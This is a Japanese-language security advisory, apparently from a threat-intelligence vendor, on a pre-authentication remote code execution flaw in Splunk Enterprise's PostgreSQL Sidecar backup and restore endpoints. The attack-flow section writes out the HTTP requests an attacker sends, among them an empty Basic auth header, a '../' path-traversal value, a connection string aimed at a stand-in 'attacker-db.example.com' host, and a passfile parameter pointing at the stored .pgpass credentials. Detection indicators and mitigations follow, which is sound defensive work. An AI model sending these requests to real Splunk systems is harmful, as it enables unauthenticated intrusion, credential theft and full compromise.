CVE-2026-20253: Splunk Enterprise 認証前リモートコード実行脆弱性

概要

Resecurityは、CVE-2026-20253の悪用を追跡しています。これは、Splunk EnterpriseのPostgreSQL Sidecarサービスに影響を与えるクリティカルな認証前リモートコード実行（RCE）脆弱性です。この欠陥は、認証チェックの欠如、不十分な認可制御、パストラバーサル、ユーザー提供のPostgreSQLパラメータの安全でない処理など、複数のセキュリティ上の弱点に起因しています。

認証されていない攻撃者は、公開されているバックアップおよびリストアエンドポイントを悪用することで、任意の場所にファイルを作成したり、Splunkを攻撃者が制御するPostgreSQLサーバーに接続させたり、悪意のあるデータベースダンプを生成したりすることができます。システムに保存された信頼済みのPostgreSQL認証情報を利用し、リストア機能を悪用することで、攻撃者は任意の操作を実行し、Splunkが使用するファイルを上書きすることが可能です。

攻撃が成功した場合、任意コードの実行、機密セキュリティデータへの不正アクセス、Splunk設定およびログの改ざん、認証情報の漏洩、持続的なアクセスの確立、横展開、そして影響を受けるSplunk環境の完全な侵害につながる可能性があります。認証が不要であること、およびシステム全体が侵害される可能性があることから、組織は影響を受けるシステムへのパッチ適用と悪用の痕跡監視を優先すべきです。

Splunkとは

Splunkは、組織のインフラ全体にわたって機械生成データを収集・インデックス化・検索・分析するための集中型プラットフォームです。多様なソースからログやイベントを集約することで、セキュリティチーム、システム管理者、運用チームに環境のリアルタイムな可視性を提供しています。

組織がSplunkを活用する主な目的：

ログとデータソースの集中管理

Splunkは、サーバー、アプリケーション、クラウド環境、ネットワーク機器、セキュリティツール、エンドポイントからのログを単一のプラットフォームに収集・統合します。これによりデータのサイロ化が解消され、インフラ全体にわたる効率的な調査が可能になります。

インフラとアプリケーションパフォーマンスの監視

運用チームはSplunkを活用して、システムの健全性、リソース使用率、アプリケーションのパフォーマンス、サービスの可用性を追跡しています。リアルタイム監視により、パフォーマンスのボトルネックや運用上の問題がユーザーに影響を与える前に特定できます。

セキュリティ脅威とインシデントの検出

主要なセキュリティ情報イベント管理（SIEM）プラットフォームとして、Splunkは複数のソースからセキュリティイベントを分析し、不審なアクティビティを特定し、脅威を検出して、サイバー攻撃に対するプロアクティブな防御を支援します。

攻撃の調査と問題のトラブルシューティング

セキュリティアナリストとインシデント対応者は、Splunkの強力な検索機能を活用してセキュリティインシデントを調査し、攻撃者の活動を追跡し、侵害の範囲と影響を特定します。同様に、ITチームはSplunkを使って運用上の問題を診断・解決しています。

ダッシュボードとレポートの作成

Splunkは、カスタマイズ可能なダッシュボード、可視化機能、レポート機能を通じて、生の機械データを実用的なインサイトに変換します。これらの機能により、関係者はトレンドを迅速に把握し、主要なパフォーマンス指標を監視し、調査結果を効果的に伝達することができます。

自動アラートの生成

組織は、あらかじめ定義した条件や異常が検出された際にアラートを生成するようSplunkを設定できます。自動通知により、セキュリティチームや運用チームは潜在的な脅威、システム障害、重大なビジネスイベントに迅速に対応することができます。

運用データとセキュリティデータの統合ビューを提供することで、Splunkは組織の可視性向上、調査の迅速化、脅威検出の強化、そしてデータドリブンな意思決定を環境全体にわたって実現します。

影響を受けるバージョン

Splunkは、CVE-2026-20253が脆弱なPostgreSQL SidecarサービスコンポーネントをポームするSplunk EnterpriseおよびSplunk Cloud Platformの特定リリースに影響することを確認しています。この脆弱性は複数のサポート対象バージョンに影響し、認証されていない攻撃者が影響を受けるシステム上でリモートコード実行を実現できる可能性があります。

脆弱なリリースを使用している組織は、デプロイメントのバージョンを直ちに確認し、ベンダーが提供するセキュリティアップデートを適用してください。修正済みバージョンで稼働しているシステムはこの脆弱性の影響を受けません。

Splunk Enterpriseアーキテクチャ概要

この図は、Splunk Enterpriseの高レベルアーキテクチャと、コアコンポーネントを通じたリクエストのフローを示しています。ユーザーの操作は、管理者・アナリスト・その他のユーザーの主要なアクセスポイントとなるSplunk Webインターフェースから始まります。次に、ビジネスロジックとアクセス制御の判断が処理されるアプリケーション層でリクエストが処理されます。アプリケーション層はバックエンドサービスとやり取りするために内部APIと通信します。これらのサービスはバックエンドエンジンによって実行され、検索・インデックス化・アラート・レポートなどSplunkのコア機能が担われます。最後に、すべての運用データおよびインデックスデータはデータストレージ層に格納されます。

1. ユーザー

ユーザーはWebブラウザまたはAPIクライアントを通じてSplunkを操作します。ログの検索、ダッシュボードの作成、アラートの監視、設定の管理などを行います。

2. Splunk Web

Splunk Webはユーザー向けのインターフェースで、ユーザーからのリクエストを受け付けます。ダッシュボード、検索機能、レポート機能、管理コントロールを提供します。

3. アプリケーション層

アプリケーション層はユーザーリクエストを処理し、ビジネスロジックを実施します。認証、認可、検索の実行、ダッシュボードのレンダリング、フロントエンドとバックエンドサービス間の通信を処理します。

4. 内部API

内部APIはSplunkのコンポーネント間の通信ブリッジとして機能します。アプリケーション層とバックエンドサービス間でリクエスト、レスポンス、検索クエリ、管理アクションを転送します。

5. バックエンドエンジン

バックエンドエンジンはSplunkのコア処理コンポーネントです。セキュリティ監視と運用インテリジェンスに必要なデータのインデックス化、検索処理、相関分析、アナリティクス、アラート生成などの計算タスクを実行します。

6. データストレージ

データストレージには、インデックス化されたログ、イベント、設定、ナレッジオブジェクト、履歴データが格納されます。バックエンドエンジンはこのストレージ層への読み書きを行い、検索・アナリティクス・レポート機能を支えています。

ワークフローの概要

1. ユーザーがSplunk Webを通じてリクエストを送信します。
2. アプリケーション層がリクエストを検証・処理します。
3. 内部APIがリクエストを適切なバックエンドサービスに転送します。
4. バックエンドエンジンが検索やその他の操作を実行します。
5. データストレージからデータが取得、または書き込まれます。
6. 結果が内部APIとアプリケーション層を通じて返されます。
7. Splunk Webが最終的な出力をユーザーに表示します。

デフォルトで脆弱か

CVE-2026-20253に関して最も重要な問いの一つは、脆弱なSplunkデプロイメントがデフォルトで外部に露出しているかどうかです。これはSplunk Enterpriseのデプロイ方法と、PostgreSQL Sidecarサービスがインストール・有効化されているかどうかによって異なります。

Splunkのアドバイザリによると、この脆弱性はデータベースのバックアップおよびリカバリ操作を担うコンポーネントであるPostgreSQL Sidecarサービスに存在します。このサービスはすべてのSplunkデプロイメントにデフォルトで含まれているわけではありませんが、特定のデプロイメントモデルでは自動的に有効化されます。

テストおよびデプロイメント分析の結果、以下のことが判明しています：

このため、AWS上で動作するSplunk Enterpriseのデプロイメントは、影響を受けるバージョンを使用している場合、デプロイ直後から脆弱な状態になっている可能性があります。一方、手動でインストールされたオンプレミスのデプロイメントでは、脆弱なサービスにアクセス可能な状態になるまでに追加の設定が必要となるのが一般的です。

根本原因の分析

CVE-2026-20253は、Splunk EnterpriseのPostgreSQL Sidecarサービスにおける複数のセキュリティ上の弱点が組み合わさって生じています。機密性の高いバックアップおよびリストア機能が、適切な認証・認可制御を欠いたエンドポイントを通じて公開されており、ユーザーが供給するファイルパスとPostgreSQL接続パラメータのバリデーションが不十分でした。

これらの問題により、攻撃者はバックアップ・リカバリ操作を操作し、任意のファイル操作を実行し、攻撃者が制御するPostgreSQLサーバーへの接続を強制することができます。これらの弱点を連鎖させることで、認証されていない攻撃者は公開された管理機能から任意のファイル書き込みへ、そして最終的にリモートコード実行（RCE）へと攻撃を進展させることができます。

詳細な攻撃チェーンについては、「攻撃フロー」セクションで説明しています。

攻撃フロー

ステップ1 – PostgreSQL Sidecarサービスの露出

この脆弱性は、データベースのバックアップおよびリカバリ操作を担うコンポーネントであるSplunk EnterpriseのPostgreSQL Sidecarサービスに存在します。このサービスは、pg_dumpやpg_restoreなどのPostgreSQLユーティリティと直接やり取りする複数の内部APIエンドポイントを公開しています。

研究者は以下のリカバリ関連エンドポイントを特定しました：

/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
/v1/postgres/recovery/status/{id}

これらのエンドポイントは管理者向けのデータベース管理タスクを意図したものでしたが、Splunkのウェブインターフェースを経由して次の方法でアクセス可能でした：

/en-US/splunkd/__raw/v1/postgres/recovery/backup
/en-US/splunkd/__raw/v1/postgres/recovery/restore

この脆弱性の根本的な原因は、これらの操作が適切な認証バリデーションなしに呼び出せる点にあります。

ステップ2 – 認証制御の欠如

PostgreSQL Sidecarサービスは、機密性の高いリクエストを処理する前に、ユーザーが認証済みかどうかを適切に検証しません。

テスト中、研究者は任意または空の認証情報を含むリクエストが依然としてサービスによって受け入れられ処理されることを確認しました。

リクエスト例：

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target
Content-Type: application/json
Authorization: Basic Og==
{ 
 "database":"search_metadata", 
 "backupFile":"test"
}

認証を強制する代わりに、Splunkはユーザーが供給した値をそのままPostgreSQLユーティリティに転送しており、実質的にバックエンドサービスへの信頼を委譲しています。

ステップ3 – バックアップ機能の悪用

/backupエンドポイントは、backupFileというユーザー制御のパラメータを受け入れます。

リクエスト例：

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Content-Type: application/json
{
  "database":"search_metadata",
  "backupFile":"backuptest"
}

内部的には、アプリケーションがPostgreSQLのバックアップユーティリティを次のように呼び出します：

exec.CommandContext(
    ctx,
    "pg_dump",
    "-h", "localhost",
    "-p", port,
    "-U", user,
    "-f", backupFile,
    database,
)

backupFile引数が攻撃者によって制御されるため、このサービスによってファイルシステム上でのファイル作成先をユーザーが操作できる状態になっています。

ステップ4 – パストラバーサル脆弱性

アプリケーションはbackupFileパラメータで供給されたファイルパスを適切に検証しません。

研究者は、ディレクトリトラバーサルシーケンスが供給できることを実証しました：

{
  "database":"search_metadata",
  "backupFile":"../../../../../../tmp/test"
}

この結果、意図したバックアップディレクトリの外側にファイルを作成することが可能になります。

PostgreSQLの作業ディレクトリ内にのみファイルを書き込む代わりに、このサービスは攻撃者が供給したパスに従い、ファイルシステム上の任意の場所にファイルを作成していました。

ファイル操作がアプリケーション管理のディレクトリに限定されなくなるため、この動作によって脆弱性の影響が大幅に拡大します。

ステップ5 – データベース接続パラメータの悪用

研究者は、databaseパラメータも完全に攻撃者によって制御可能であることを発見しました。

脆弱なコードは最終的にdatabaseの値をそのままPostgreSQLに渡します：

pg_dump ... database

PostgreSQLはdatabase引数内での接続文字列構文をサポートしています。

例：

{
  "database":"hostaddr=attacker-db.example.com",
  "backupFile":"/tmp/test"
}

次のような接続パラメータを供給することで：

hostaddr=
dbname=
port=

攻撃者はSplunkを自分が制御するリモートのPostgreSQLサーバーに接続させることができます。

ステップ6 – 攻撃者制御のデータベースダンプ

SplunkがPostgreSQLサーバーを攻撃者が制御するものに接続すると、攻撃者はバックアッププロセスが返すデータを完全に制御できるようになります。

リクエスト例：

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Content-Type: application/json
{
  "database":"hostaddr=attacker-db.example.com dbname=testdb",
  "backupFile":"/tmp/backup.dump"
}

生成されたダンプファイルには、ローカルのSplunkデータベースではなく、攻撃者のデータベースによって生成されたコンテンツが含まれます。

これにより、この脆弱性は単純なファイル作成から、攻撃者が制御するコンテンツをファイルシステムに書き込むメカニズムへと変貌します。

ステップ7 – リストア機能の悪用

2つ目の脆弱なエンドポイントが存在します：

POST /en-US/splunkd/__raw/v1/postgres/recovery/restore

このエンドポイントは内部的に次を実行します：

exec.CommandContext(
    ctx,
    "pg_restore",
    "-h", "localhost",
    "-p", port,
    "-U", user,
    "-d", database,
    backupFile,
)

このエンドポイントはPostgreSQLのダンプファイルをターゲットデータベースに復元します。

攻撃者がダンプファイルとデータベース接続パラメータの両方を制御できるため、リストアプロセス中に実行されるSQL文に影響を与えることができます。

ステップ8 – ローカルデータベース認証の悪用

研究者は、SplunkがPostgreSQLの認証情報を.pgpassファイルに保存していることを発見しました。

ファイルの例示場所：

/opt/splunk/var/packages/data/postgres/.pgpass

リストア機能は、PostgreSQL接続パラメータを通じてこの認証情報ファイルを使用するよう指示できます。

リクエスト例：

POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Content-Type: application/json
{
  "database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass",
  "backupFile":"/tmp/backup.dump"
}

これにより、リストア操作は信頼済みの認証情報を使用してSplunkのローカルPostgreSQLインスタンスに対して認証を行うことができます。

ステップ9 – リストア中の悪意あるSQL実行

PostgreSQLがデータベースダンプを復元する際、ダンプ内に含まれるSQL文を実行します。

攻撃者が先に生成されたデータベースダンプの内容を完全に制御できるため、復元時に実行される悪意のあるSQLオブジェクトをダンプに組み込むことができます。

したがって、リストア操作はSplunkのPostgreSQL環境内で攻撃者が制御するデータベース操作を実行するためのメカニズムとなります。

ステップ10 – リモートコード実行へのエスカレーション

PostgreSQL機能を通じて任意のファイルを書き込む能力を得た後、攻撃者はSplunkが実行するファイルを標的にすることができます。

研究者は、アプリケーションスクリプトを攻撃者が制御するコンテンツで置き換えられることを実証しました。

Splunkがその後、改ざんされたスクリプトを実行すると、Splunkサービスアカウントの権限で任意のコードが実行され、影響を受けるシステムが完全に侵害されます。

この最終ステップにより、当初は任意のファイル操作の脆弱性として見えていたものが、完全な認証前リモートコード実行（RCE）脆弱性へと変貌します。

攻撃の前提条件

CVE-2026-20253の悪用を成功させるには、PostgreSQL Sidecarサービスのリカバリエンドポイントを公開している脆弱なSplunkデプロイメントへのネットワークアクセスが必要です。

攻撃者に必要のないもの：

• 有効なSplunk認証情報
• 環境への事前アクセス
• ユーザーの操作
• 管理者権限

脆弱なリカバリエンドポイントに到達できる限り、認証されていない攻撃者はリモートから攻撃チェーンを開始できます。

この脆弱性がクリティカルである理由

CVE-2026-20253は、認証なしにユーザーの操作を必要とせず、リモートから悪用できるため、特に危険です。複数の弱点を連鎖させることで、攻撃者は未認証アクセスから任意のファイル操作を経て、最終的にリモートコード実行（RCE）へと攻撃を進展させることができます。

クリティカルな深刻度に寄与する主な要因：

• ネットワーク経由でのリモート悪用
• 認証不要
• ユーザー操作不要
• 攻撃の複雑さが低い
• 任意のファイル書き込み能力
• リモートコード実行（RCE）の可能性

集中型セキュリティ・監視プラットフォームとしてのSplunkの役割により、その影響はさらに増幅されます。攻撃が成功した場合、機密ログ、認証情報、セキュリティアラート、運用データが漏洩し、攻撃者が環境内での持続的なアクセス確立、検出回避、横展開のための足がかりを得る可能性があります。

概念実証と検出

セキュリティ研究者はCVE-2026-20253を公開で実証しており、公開されたPostgreSQLリカバリエンドポイントを悪用して不正なバックアップおよびリストア操作を実行する方法を示す概念実証の資料を公開しています。組織はこれらの手法を管理されたテスト環境で使用して、脆弱なシステムが露出しているかどうかを検証できます。

検出方法

管理者は、PostgreSQLリカバリエンドポイントが認証なしにアクセス可能かどうかを確認し、以下を含むリカバリ機能を対象としたリクエストのログを確認する必要があります：

• /v1/postgres/recovery/backup
• /v1/postgres/recovery/restore
• /v1/postgres/recovery/status/{id}

潜在的な悪用の指標：

• パストラバーサルシーケンス（../）を含むリクエスト
• hostaddr=、dbname=、port=、passfile=などのPostgreSQL接続パラメータ
• pg_dumpまたはpg_restoreの予期しない実行
• 通常とは異なるファイルシステムの場所へのデータベースダンプファイルの作成
• SplunkサービスからUnknownのPostgreSQLサーバーへのアウトバウンド接続

Nuclei検出テンプレート

以下のNucleiテンプレートは、PostgreSQLリカバリ機能の露出を検出することで、脆弱な可能性のあるSplunkインスタンスを特定するために使用できます。検出は、所有しているか、または評価の権限を持つシステムに対してのみ実施してください。

参考: https://github.com/0xBlackash/CVE-2026-20253

影響評価

CVE-2026-20253の悪用に成功した場合、有効な認証情報なしに影響を受けるSplunk Enterpriseデプロイメントを完全に侵害できます。認証バイパス、任意のファイル書き込み、PostgreSQLリストア機能を連鎖させることで、攻撃者はSplunkサービスアカウントの権限でターゲットシステム上の任意のコードを実行できます。

想定される影響：

• リモートコード実行（RCE）：攻撃者は脆弱なSplunkサーバー上で任意のオペレーティングシステムコマンドを実行し、アプリケーション環境を完全に制御できます。
• セキュリティデータへの不正アクセス：Splunkには機密性の高いログ、アラート、認証記録、インシデント対応データ、セキュリティテレメトリが含まれていることが多く、攻撃者がこれらの情報にアクセス・改ざん・窃取を行う可能性があります。
• インデックスデータの改ざん：悪意ある攻撃者はインデックス化されたイベント、ダッシュボード、保存済み検索、アラート、設定を変更し、悪意のある活動を隠蔽したりセキュリティ運用を妨害したりする可能性があります。
• 持続的なアクセスの確立：攻撃者はSplunkアプリケーション、スクリプト、起動コンポーネント、スケジュールタスク、またはプラットフォームが実行するその他のファイルを変更することで、持続的なアクセスを確立できます。
• 防御回避：セキュリティ監視・検出機能が無効化・操作・バイパスされ、組織が進行中の攻撃を把握する能力が低下する可能性があります。
• 横展開の機会：Splunkは一般的にActive Directory、クラウドサービス、エンドポイントセキュリティプラットフォーム、データベース、ネットワークインフラと連携しているため、侵害されたSplunkサーバーは内部システムへの攻撃の戦略的な起点として機能する可能性があります。
• 認証情報の漏洩：Splunkがアクセス可能な保存された認証情報、APIトークン、サービスアカウントシークレット、データベース認証情報、連携キーが漏洩し、環境をさらに侵害するために利用される可能性があります。
• 完全性と可用性のリスク：攻撃者が運用データとセキュリティデータを削除・破損・暗号化・改ざんし、調査、コンプライアンス要件、業務運営に影響を与える可能性があります。
• インシデント対応への干渉：ログ、フォレンジックアーティファクト、履歴イベントデータが改ざん・削除され、検出活動を妨害し、インシデント対応調査を複雑化する可能性があります。
• 企業全体のセキュリティへの影響：セキュリティ監視と運用インテリジェンスにおけるSplunkの中心的な役割を考えると、プラットフォームの侵害は組織の可視性を大幅に低下させ、さらなる悪意ある活動が検出されないまま進行することを許してしまいます。

認証が不要であること、およびシステム全体が完全に侵害される可能性があることから、この脆弱性はクリティカルと見なし、即時の修正を優先すべきです。

修正と緩和策

組織は悪用リスクを低減するために以下の対策を実施してください：

• セキュリティアップデートの適用：影響を受けるSplunk Enterpriseインスタンスを、セキュリティ修正を含む最新のベンダーサポート版にアップグレードしてください。
• 管理アクセスの制限：Splunk Web、管理インターフェース、リカバリ関連エンドポイントへのアクセスを、信頼できる管理者および内部ネットワークに限定してください。
• 露出状況の確認：インターネットからアクセス可能なSplunkデプロイメントを特定し、可能な限り不要な外部アクセスを排除してください。
• リカバリエンドポイントの監視：PostgreSQLリカバリAPIを対象としたリクエスト、特にバックアップおよびリストア操作についてログを確認してください。
• 不審なアクティビティの検出：パストラバーサルシーケンス（../）やhostaddr=、dbname=、passfile=などのPostgreSQL接続パラメータを含むリクエストを調査してください。
• PostgreSQLユーティリティの監視：Splunkサービスによって開始されたpg_dumpおよびpg_restoreの予期しない実行をアラートで通知するよう設定してください。
• ファイル整合性の確認：Splunkアプリケーション、スクリプト、設定ファイルが不正なユーザーによって変更・置き換えられていないか確認してください。
• 潜在的な侵害の調査：異常なバックアップ操作、リストア操作、アウトバウンドのPostgreSQL接続など、悪用の痕跡を示す指標について履歴ログを確認してください。
• 認証情報のローテーション：侵害が疑われる場合、PostgreSQL認証情報、APIトークン、サービスアカウント認証情報、およびSplunk環境からアクセス可能なその他のシークレットをローテーションしてください。
• ネットワークセグメンテーションの実施：侵害後の横展開リスクを低減するため、Splunkサーバーを重要な内部システムから分離してください。
• 監視の強化：不正なファイル作成、ファイル変更、不審なプロセス実行、予期しない管理APIの使用に対する検出を導入してください。
• インシデント対応活動の実施：影響を受ける可能性のあるシステムに対してフォレンジック調査を実施し、持続化メカニズム、悪意のあるファイル、不正な変更を特定してください。

この脆弱性が認証前に悪用可能であること、およびシステム全体が完全に侵害される可能性があることから、修正は高優先度のセキュリティ活動として取り組む必要があります。

まとめ

CVE-2026-20253は、一見独立しているように見える複数のセキュリティ上の弱点が連鎖することで、クリティカルな認証前リモートコード実行脆弱性が生み出されることを示しています。公開されたPostgreSQLリカバリエンドポイント、不十分な認証制御、パストラバーサル、データベース接続パラメータの安全でない処理を悪用することで、攻撃者は認証されていない状態から任意のファイル書き込みを経て、最終的にシステムの完全な侵害へと攻撃を進展させることができます。

集中型ロギング・監視・セキュリティアナリティクスプラットフォームとしてのSplunkの役割を考えると、攻撃が成功した場合の影響は広範囲に及びます。機密セキュリティデータへの不正アクセス、監視機能の妨害、認証情報の漏洩、そして企業環境全体での横展開などが想定されます。組織はこの脆弱性を高優先度のセキュリティリスクとして扱い、ベンダーが提供するパッチを直ちに適用し、侵害の痕跡についてシステムを確認し、悪用の可能性を低減するための適切な監視とアクセス制御を実施する必要があります。

この脆弱性は、強固な認証メカニズムの実施、ユーザーが制御する入力のバリデーション、管理機能へのアクセス制限、そして個々の弱点が完全な攻撃チェーンに組み合わされることを防ぐための多層防御の実践が重要であることを改めて示しています。